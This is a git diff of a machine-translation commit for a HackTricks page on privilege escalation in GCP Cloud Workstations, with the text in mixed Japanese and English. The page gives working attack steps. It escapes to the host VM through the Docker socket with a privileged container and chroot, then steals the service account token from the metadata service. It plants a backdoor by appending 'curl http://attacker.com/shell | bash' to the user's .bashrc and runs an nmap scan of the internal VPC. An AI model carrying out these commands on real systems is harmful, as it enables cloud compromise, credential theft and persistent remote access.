Translated ['', 'src/pentesting-cloud/gcp-security/gcp-privilege-escalat

This commit is contained in:
Translator
2026-03-03 15:36:59 +00:00
parent fd58a62ec8
commit b13bc761c2

View File

@@ -1,22 +1,23 @@
# GCP - Cloud Workstations Privesc
{{#include ../../../banners/hacktricks-training.md}}
### Container Breakout via Docker Socket (Container -> VM -> Project)
Cloud Workstations における主要な権限昇格経路は、開発者向けに **Docker-in-Docker (DinD)** ワークフローをサポートする必要性に由来します。workstation の構成が Docker socket をマウントするか、privileged containers を許可している場合一般的な構成、workstation コンテナ内の攻撃者は基盤となる Compute Engine VM へ脱出し、そのサービスアカウントトークンを奪取できます。
The primary privilege escalation path in Cloud Workstations stems from the requirement to support **Docker-in-Docker (DinD)** workflows for developers. When the workstation configuration mounts the Docker socket or allows privileged containers (a common configuration), an attacker inside the workstation container can escape to the underlying Compute Engine VM and steal its service account token.
**前提条件:**
- Cloud Workstation ターミナルへのアクセスSSH、乗っ取られたセッション、または盗まれた資格情報経由
- workstation の構成が `/var/run/docker.sock` をマウントするか、privileged containers を有効にしていること
**Prerequisites:**
- Access to a Cloud Workstation terminal (via SSH, compromised session, or stolen credentials)
- The workstation configuration must mount `/var/run/docker.sock` or enable privileged containers
**アーキテクチャの文脈:** workstation はコンテナLayer 3で、Docker/Containerd ランタイム(Layer 2)上の GCE VMLayer 1)で動作しています。Docker socket はホストのコンテナランタイムへの直接アクセスを提供します。
**Architecture context:** The workstation is a container (Layer 3) running on a Docker/Containerd runtime (Layer 2) on a GCE VM (Layer 1). The Docker socket gives direct access to the host's container runtime.
> [!NOTE]
> ツール [gcp-workstations-containerEscapeScript](https://github.com/AI-redteam/gcp-workstations-containerEscapeScript) は完全な container escape を自動化し、ホスト VM 上の root シェルに降ろします。
> The tool [gcp-workstations-containerEscapeScript](https://github.com/AI-redteam/gcp-workstations-containerEscapeScript) automates the full container escape and drops you into a root shell on the host VM.
<details>
<summary>ステップ 1: Docker socket を確認</summary>
<summary>Step 1: Check for Docker socket</summary>
```bash
# Verify the Docker socket is available
ls -l /var/run/docker.sock
@@ -26,9 +27,9 @@ ls -l /var/run/docker.sock
<details>
<summary>ステップ 2: Escape — ホストVMのファイルシステムへ</summary>
<summary>ステップ2: ホストVMのファイルシステムへエスケープ</summary>
privileged container を起動し、ホストのルートディレクトリを `/mnt/host` にマウントします。また、可視性を最大化するためホストの network と PID namespace も共有します。
特権コンテナを起動し、ホストのルートディレクトリを `/mnt/host` にマウントします。また、可視性を最大化するためホストのネットワークと PID ネームスペースも共有します。
```bash
# Spawn a privileged container mounting the host's root filesystem
docker run -it --rm --privileged --net=host --pid=host \
@@ -38,13 +39,13 @@ alpine sh
# Inside the new container, chroot into the host
chroot /mnt/host /bin/bash
```
あなたは現在、基盤となる **Compute Engine VM 上の root shell** を持っていますLayer 1
これで**root shell on the underlying Compute Engine VM** (Layer 1) を取得しました
</details>
<details>
<summary>ステップ3: VM service account token を IMDS から盗む</summary>
<summary>ステップ3: IMDSからVM service account token盗む</summary>
```bash
# From the host VM, query the Instance Metadata Service
curl -s -H "Metadata-Flavor: Google" \
@@ -62,15 +63,15 @@ http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/scop
> [!CAUTION]
> **スコープを確認してください!**
> 付与されている Service Account が **Editor** であっても、VM はアクセススコープによって制限されている可能性があります。
> もし `https://www.googleapis.com/auth/cloud-platform` が表示されていればフルアクセスを持っています。
> もし `logging.write` と `monitoring.write` のみが表示されている場合、以下の **Network Pivot** と **Persistence** ベクトルに制限されます。
> たとえアタッチされている Service Account が **Editor** であっても、VM はアクセススコープによって制限されている場合があります。
> `https://www.googleapis.com/auth/cloud-platform` が表示されていればフルアクセスがあります。
> `logging.write` と `monitoring.write` のみが表示されている場合、以下の **Network Pivot** と **Persistence** ベクターに制限されます。
<details>
<summary>ステップ4: Achieve Persistence (Backdoor the User)</summary>
<summary>Step 4: Achieve Persistence (Backdoor the User)</summary>
Cloud Workstations は永続ディスクを `/home/user` にマウントします。コンテナのユーザ(通常 `user`, UID 1000がホストのユーザUID 1000と一致するため、ホストのホームディレクトリに書き込できます。これにより、workstation container が再構築されても環境にバックドアを仕掛けることができます。
Cloud Workstations は永続ディスクを `/home/user` にマウントします。コンテナのユーザ(通常 `user`, UID 1000がホストのユーザUID 1000と一致するため、ホストのホームディレクトリに書き込むことができます。これにより、workstation container が再作成されても環境に backdoor を仕掛けることができます。
```bash
# Check if you can write to the host's persistent home
ls -la /mnt/host/home/user/
@@ -85,7 +86,7 @@ echo "curl http://attacker.com/shell | bash" >> /mnt/host/home/user/.bashrc
<summary>Step 5: Network Pivot (Internal VPC Access)</summary>
host network namespace (`--net=host`) を共有しているため、あなたは現在 VPC 上の信頼されードになっています。IP whitelisting に基づいてアクセス許可る内部サービスをスキャンできます。
ホストのネットワーク名前空間(`--net=host`を共有しているため、VPC上で信頼されードになっています。IP whitelisting に基づいてアクセス許可される内部サービスをスキャンできます。
```bash
# Install scanning tools on the host (if internet access allows)
apk add nmap
@@ -94,3 +95,7 @@ apk add nmap
nmap -sS -p 80,443,22 10.0.0.0/8
```
</details>
{{#include ../../../banners/hacktricks-training.md}}